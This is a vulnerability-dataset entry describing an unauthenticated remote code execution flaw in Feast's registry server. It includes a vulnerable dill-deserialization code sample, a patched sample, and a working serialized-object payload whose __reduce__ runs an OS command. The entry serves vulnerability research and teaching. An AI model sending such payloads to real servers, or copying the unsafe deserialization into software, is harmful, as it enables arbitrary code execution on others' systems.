CVE-2026-56121
Feast unsafe deserialization allows unauthenticated RCE via a gRPC request.
- CVSS 9.3
- CWE-502
- Input Validation and Sanitization
- Remote
Feast before 0.63.0 contains an unsafe deserialization vulnerability that allows unauthenticated or unauthorized attackers to achieve remote code execution by sending a crafted gRPC request to the registry server. The user_defined_function.body field of an OnDemandFeatureView spec is decoded from base64 and passed to dill.loads() before any authorization check is performed, enabling attackers to embed a malicious serialized Python object with an arbitrary __reduce__ method to execute OS commands as the feast service account.
- CWE
- CWE-502
- CVSS base score
- 9.3
- Published
- 2026-06-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Feast
- Fixed by upgrading
- Yes
Solution
Upgrade to Feast version 0.63.0 or later.
Vulnerable code sample
import base64
import dill
from dataclasses import dataclass
# Simplified representation of Feast's data structures involved in the vulnerability.
# In the actual Feast code, these would be Protobuf-generated classes.
@dataclass
class UserDefinedFunction:
"""Represents the user-defined function spec."""
name: str
body: bytes # This field contains the base64-encoded, dill-serialized object.
@dataclass
class OnDemandFeatureView:
"""Represents the on-demand feature view spec."""
name: str
user_defined_function: UserDefinedFunction
def apply_on_demand_feature_view(spec: OnDemandFeatureView):
"""
A simplified function simulating the vulnerable part of the gRPC handler
in the Feast registry server.
This function is called to apply a new feature view specification.
Crucially, it deserializes user-provided data before any authorization checks.
"""
print(f"Applying OnDemandFeatureView spec: {spec.name}")
# --- VULNERABLE CODE BLOCK ---
# The 'body' is expected to be a base64-encoded representation of a
# dill-serialized Python function.
# No validation or authorization has occurred at this point.
if spec.user_defined_function and spec.user_defined_function.body:
try:
# 1. The user-controlled 'body' is decoded from base64.
decoded_body = base64.b64decode(spec.user_defined_function.body)
# 2. The result is passed directly to dill.loads().
# An attacker can provide a serialized object with a malicious
# __reduce__ method, which will be executed here, leading to RCE.
udf = dill.loads(decoded_body)
print("Successfully deserialized UDF.")
# In the real application, further processing of the 'udf' object would follow.
# However, the remote code execution has already happened during 'dill.loads()'.
except Exception as e:
print(f"An error occurred during deserialization: {e}")
# The vulnerability exists even if an exception is caught,
# as the malicious code in __reduce__ executes before the exception.
# In a real application, authorization checks and registry updates would happen here,
# but it's too late as the code has already been executed.
print("Proceeding with (post-exploitation) registry operations...")Patched code sample
import base64
import dill
# This mock function represents the required authorization check.
def is_user_authorized(user_identity) -> bool:
"""
A placeholder for real authorization logic that would check a user's
permissions against a policy.
"""
# In a real system, this would inspect the user_identity object.
# For the fix, the key is that this check happens *before* deserialization.
print(f"Performing authorization check for: {user_identity}")
# Returning False simulates an unauthorized attacker.
if user_identity == "unauthenticated_attacker":
return False
return True
def fixed_apply_on_demand_feature_view(request):
"""
A simplified function representing the fixed logic. The 'request' object
is a stand-in for the gRPC request payload. It is assumed to have attributes
for user identity and the feature view specification.
"""
# --- START OF FIX ---
# 1. Perform authorization check on the user's identity FIRST.
# In the vulnerable version, this step happened after step 2.
if not is_user_authorized(request.user_identity):
# By raising an error here, the function exits immediately, and the
# potentially malicious payload is never processed.
raise PermissionError("User is not authorized to perform this action.")
# 2. Only deserialize the UDF body AFTER the user has been authorized.
# This code is now only reachable by trusted users.
try:
udf_body_b64 = request.spec.user_defined_function.body
udf_body_bytes = base64.b64decode(udf_body_b64)
# The 'dill.loads' call, which was the source of the remote code
# execution vulnerability, is now protected by the authorization check.
user_function = dill.loads(udf_body_bytes)
print("Successfully deserialized UDF for authorized user.")
# ... further processing of the 'user_function' would occur here ...
except Exception as e:
# Handle errors related to decoding or deserialization.
raise ValueError(f"Failed to process user-defined function: {e}")
# --- END OF FIX ---Payload
import dill
import base64
import os
class RCE:
def __reduce__(self):
cmd = "touch /tmp/pwned"
return (os.system, (cmd,))
# The final payload is the base64 encoded representation of the
# dill-serialized malicious object. This is what would be sent
# in the user_defined_function.body field of the gRPC request.
payload = base64.b64encode(dill.dumps(RCE())).decode()
print(payload)
Cite this entry
@misc{vaitp:cve202656121,
title = {{Feast unsafe deserialization allows unauthenticated RCE via a gRPC request.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-56121},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-56121/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
